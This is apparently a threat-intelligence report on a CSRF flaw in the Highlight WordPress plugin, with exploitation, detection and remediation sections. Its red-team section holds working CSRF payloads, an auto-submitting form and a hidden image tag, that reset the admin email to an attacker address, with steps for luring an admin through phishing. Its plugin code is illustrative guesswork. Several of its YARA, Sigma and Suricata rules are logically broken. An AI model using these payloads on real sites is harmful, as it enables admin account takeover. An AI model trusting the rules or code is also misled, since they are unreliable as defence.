CVE-2024-37458

Executive Summary

CVE-2024-37458 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Highlight WordPress plugin by Extendthemes, up to and including version 1.0.29. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or performing state-changing operations, without their consent. The attack requires user interaction (clicking a crafted link or visiting a malicious page) and has a low CVSS score of 4.3, but it can be chained with other vulnerabilities for privilege escalation or data manipulation. As a WordPress plugin issue, the vulnerability is not related to the underlying web server (Apache/Nginx) but stems from missing or insufficient CSRF nonce validation in the plugin's administrative functions.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: if the plugin is not updated or patched, any WordPress site using Highlight <= 1.0.29 is exposed. No official patch has been released as of the latest advisory. Administrators should monitor the plugin's update channel and consider temporary disabling or replacing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction and only allows low-integrity changes (e.g., modifying plugin settings). However, in a WordPress context, CSRF can be used to change admin email, install malicious plugins, or modify site options if chained with other flaws.

Deep Dive & Mechanics

The vulnerability exists in the Highlight plugin's administrative AJAX handlers or settings pages. WordPress CSRF protection relies on nonces (one-time tokens) embedded in forms and URLs. The plugin fails to verify these nonces before processing state-changing requests. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to the vulnerable endpoint. For example, a request to /wp-admin/admin-ajax.php?action=highlight_update_settings&option=value would be processed without checking the _wpnonce parameter.

The attack flow:

1. Attacker identifies a vulnerable endpoint (e.g., highlight_save_settings).
2. Attacker crafts a CSRF payload (e.g., an auto-submitting form or an <img> tag with a crafted URL).
3. Attacker lures an authenticated admin to the malicious page.
4. The admin's browser sends the forged request with their session cookies.
5. The plugin processes the request, altering settings or performing actions.

Vulnerable vs. Patched Code

Vulnerable Code (Highlight <= 1.0.29):

// In a typical AJAX handler, no nonce check
add_action('wp_ajax_highlight_save_settings', 'highlight_save_settings_callback');
function highlight_save_settings_callback() {
    // Process $_POST data directly
    update_option('highlight_settings', $_POST['settings']);
    wp_die();
}

Patched Code (Hypothetical fix):

add_action('wp_ajax_highlight_save_settings', 'highlight_save_settings_callback');
function highlight_save_settings_callback() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'highlight_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    // Process data
    update_option('highlight_settings', $_POST['settings']);
    wp_die();
}

The patch adds a wp_verify_nonce() check using a unique action name. Without this, any authenticated request is accepted.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Highlight plugin <= 1.0.29.
• An authenticated admin session (the victim must be logged in).

Exploit Payload (HTML):

<html>
<body>
<form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="highlight_save_settings">
    <input type="hidden" name="settings[admin_email]" value="attacker@evil.com">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim (e.g., via phishing email).
3. When the victim (authenticated admin) visits the page, the form auto-submits, changing the admin email to the attacker's address.

Alternative Payload (Image Tag):

<img src="http://target/wp-admin/admin-ajax.php?action=highlight_save_settings&settings[admin_email]=attacker@evil.com" style="display:none;" />

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action=highlight_* parameters from unexpected referrers.
• Look for multiple failed nonce checks in WordPress debug logs.
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php without a valid _wpnonce parameter.

Hardening:

• Apply the hypothetical patch above (add nonce verification).
• Use WordPress security plugins (e.g., Wordfence) that add CSRF protection.
• Implement SameSite cookies (Lax or Strict) to mitigate cross-site requests.
• Educate administrators to avoid clicking suspicious links while logged in.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=highlight_* parameters.
  • Referer header not matching the site's domain.
  • Repeated requests from the same IP to AJAX endpoints without nonce.

• File IOCs:

  • Modified wp_options table entries for highlight_settings.
  • Unusual entries in WordPress debug log (e.g., "Nonce verification failed").

• Behavioral IOCs:

  • Unexpected changes to plugin settings or admin email.
  • New admin users created (if chained with other vulnerabilities).

Detection Engineering

YARA Rule

rule CVE_2024_37458_CSRF_WordPress {
    meta:
        description = "Detects CSRF exploitation attempts against Highlight plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-37458"
    strings:
        $ajax_action = "action=highlight_" nocase
        $admin_ajax = "admin-ajax.php" nocase
        $nonce_missing = "wp_verify_nonce" nocase
    condition:
        $ajax_action and $admin_ajax and not $nonce_missing
}

Sigma Rule

title: CVE-2024-37458 CSRF Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting Highlight plugin AJAX endpoints without nonce
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=highlight_'
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not cs-uri-query|contains: '_wpnonce'
falsepositives:
    - Legitimate plugin updates (if nonce is present)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37458 CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=highlight_"; http_client_body; pcre:"/action=highlight_[a-z_]+/"; pcre:"/^(?!.*_wpnonce).*$/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Highlight plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php without a valid nonce.
3. Review and rotate any sensitive credentials that may have been exposed.

Long-Term Fix:

• Apply the patch described in the "Vulnerable vs. Patched Code" section (add wp_verify_nonce() checks).
• Monitor the plugin's official repository for updates.
• Consider replacing the plugin with an alternative that has active security maintenance.

Workarounds:

• Use a WordPress security plugin that adds CSRF protection to all admin AJAX calls.
• Enforce HTTPS and use SameSite=Strict cookies for admin sessions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2024-37458